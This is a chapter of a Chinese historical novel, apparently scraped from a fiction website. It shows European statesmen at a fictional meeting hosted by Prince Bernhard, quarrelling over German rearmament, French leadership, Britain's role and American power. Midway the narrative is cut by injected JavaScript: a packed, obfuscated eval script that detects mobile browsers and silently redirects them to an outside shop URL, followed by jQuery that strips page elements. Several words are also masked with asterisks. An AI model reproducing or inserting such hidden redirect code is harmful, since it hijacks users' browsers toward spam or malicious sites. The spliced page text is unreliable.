斯帕克转向摩勒。
“法国呢?除了反对西德重新武装,你们想要什么?”
摩勒沉默了几秒。
“法国想要欧洲的领导权。”他说,“但领导权需要实力。我们现在没有西德的经济,没有英国的**影响力,没有米国的军事实力。所以我们只能——拖。”
梅德利科特笑了。
“摩勒先生难得诚实。”
摩勒看了他一眼。
“诚实是因为这里没有记者。”他说,“法国要拖延西德重新武装,拖延到我们自己的经济恢复,拖延到我们可以平等地坐在桌边。这个过程中,我们会用一切手段——否决、拖延、设置条件。”
他看着冯·德·格勒本。
“德国人受不了?那就去找英国人。英国人受不了?那就去找米国人。但最后,你们会发现,没有法国点头,欧洲什么事都做不成。”
冯·德·格勒本的脸色很不好看。
“这是勒索。”
“这是**。”摩勒说。
斯帕克揉了揉太阳穴。
“诸位,一个月后我们就要和米国人坐在一起了。现在吵成这样,到时候怎么谈?我们连统一的立场都没有。”
梅德利科特看着他。
“吵完了,才能谈。”他说,“英国人想要什么,法国人想要什么,德国人想要什么,今天说清楚。至于统一立场——我们什么时候有过?”
莫内点了点头。
“梅德利科特说得对。今天就是要把分歧摊开。但摊开之后,我们得承认——我们没有统一立场。”
他看着摩勒。
“法国要领导权。可以。但领导不是靠否决,是靠建设。你否决了德国的重新武装,否决了英国的入欧,否决了米国的经济渗透——然后呢?法国拿出什么替代方案?”
摩勒没有说话。
莫内又看向冯·德·格勒本。
“西德要平等。可以。但平等不是别人给的,是自己挣的。你们要重新武装,要经济崛起,要在欧洲有话语权——这些,米国人都支持。但你们也要理解,法国人的恐惧是真的,不是假的。”
冯·德·格勒本沉默了几秒。
“我们理解。”他说,“但我们不能永远为过去付代价。”
莫内点了点头,转向梅德利科特。
“英国要特殊地位。可以。但特殊地位意味着你们永远进不了核心。你们想要欧洲的市场,又不想交欧洲的税。想要参与欧洲的决策,又不接受欧洲的规则。这样下去,你们会被边缘化。”
梅德利科特的笑容淡了些。
“也许吧。”他说,“但那也是英国人民的选择。”
斯皮内利,那个一直没说话的意大利人,突然开口。
“各位,你们吵的这些,米国人会很高兴。”他的英语带着浓重的意大利口音,“一个**的欧洲,对他们最有利。”
所有人都看向他。
斯皮内利继续说。
“米国人要西德重新武装,是为了对付苏联。要欧洲开放市场,是为了他们的资本。要美元主导,是为了他们的金融。你们在这里吵谁领导、谁平等、谁特殊——米国人正好一个一个谈,一个一个收买。今天和法国谈军事援助,明天和德国谈经济合作,后天和英国谈特殊关系。等他们谈完一圈,欧洲还有什么?”
他顿了顿。
“莫内先生要欧洲联合,是为了对抗美苏。但如果欧洲自己都统一不了声音,联合就是个笑话。”
莫内看着他。
“你有什么建议?”
斯皮内利摇了摇头。
“我没建议。我只是提醒——今晚我们没有达成任何共识。一个月后,我们也不会有。”
房间里又安静了。
伯恩哈德亲王一直没说话。他看着这些欧洲最重要的**人物,像看着一盘散沙。
然后他开口了。
“诸位,一个月后,我们会坐在奥斯特贝克的会议桌旁。对面是十二个米国人,每个人背后都有几十亿美元、几十万军队、几十年的全球战略。”
他顿了顿。
“我们呢?我们背后是什么?”
没有人回答。
亲王继续说。
“英国人背后是英镑和英联邦——英镑在贬值,英联邦在解体。法国背后是殖民地和非殖民地的撕裂——越南丢了,阿尔及利亚还在打。西德背后是**的国家和被占领的领土——柏林还在苏联眼皮底下,东边还有一个自称德国的**党政权。比利时、荷兰、意大利,我们有什么?我们只是希望不要再被大国踩一遍。”
他的声音不高,但每个字都清清楚楚。
“米国人团结一致。我们四分五裂。这就是现实。”
摩勒抬起头。
“那殿下觉得怎么办?”
伯恩哈德看着他。
“我不知道。”他说,“我不是欧洲的领导人,我只是一个召**议的人。我能做的,是让你们坐在一起,吵完,然后问自己一句——吵完之后呢?我们有什么可以一起去谈的?”
他等了几秒,没有人回答。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285220|176327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“没有。”他自己回答了,“什么都没有。我们没有统一的立场,没有共同的诉求,甚至连今晚坐在这里的人,一个月后会不会都出现在奥斯特贝克,我都不能确定。”
他站起身。
“诸位,夜了。明天还要赶路。”
这是送客的意思。
梅德利科特第一个站起来,微微欠身。
“殿下,感谢招待。一个月后奥斯特贝克见——如果我们还都想去的话。”
其他人也陆续起身。
莫内走到窗前,看着外面黑森林的轮廓。月光照在树梢上,一片银白。
斯帕克走到他身边。
“想什么呢?”
莫内沉默了几秒。
“想一个月后的会。”他说,“米国人会带着他们的算盘来,我们会带着我们的分歧去。谈完之后,他们拿到他们要的,我们继续吵。”
斯帕克看着他。
“这么悲观?”
莫内轻轻笑了一下。
“不是悲观。是现实。我们今晚谈了两个小时,有什么结果?法国还是法国,英国还是英国,西德还是西德。谁说服谁了?没有。谁让步了?没有。一个月后,也不会。”
他转过身,看着房间里最后几个人。
摩勒和冯·德·格勒本站在门口,正在低声说着什么。两个人的表情都很严肃,但那种严肃,是谈判对手之间的严肃,不是盟友之间的严肃。
梅德利科特已经走了,英国人的身影消失在走廊尽头。
斯皮内利站在那里,看着墙上的一幅油画,不知在想什么。
莫内收回目光。
“至少,”他说,“他们在吵。最怕的是连吵都不吵——但那也不会有结果。”
斯帕克点了点头。
“对。吵了也没结果。”
窗外,夜风吹过黑森林,沙沙作响。
一个月后,这些人会坐在同一张桌子旁,和那十二个米国人一起。
他们会带着今天的争吵,带着各自的想法,带着那些说不出口的恐惧和算计。
米国人会看到欧洲的**。
欧洲人自己,也会看到。
但没有人能改变这一点。
因为这就是欧洲。
从来不是铁板一块,从来不是一声令下就能行动。吵吵闹闹,各怀鬼胎,在每一个问题上扯皮,在每一个决定上拖延。
今晚没有达成任何统一。
一个月后,也不会。
莫内最后看了一眼窗外的月光。
然后他转身,走进夜色中。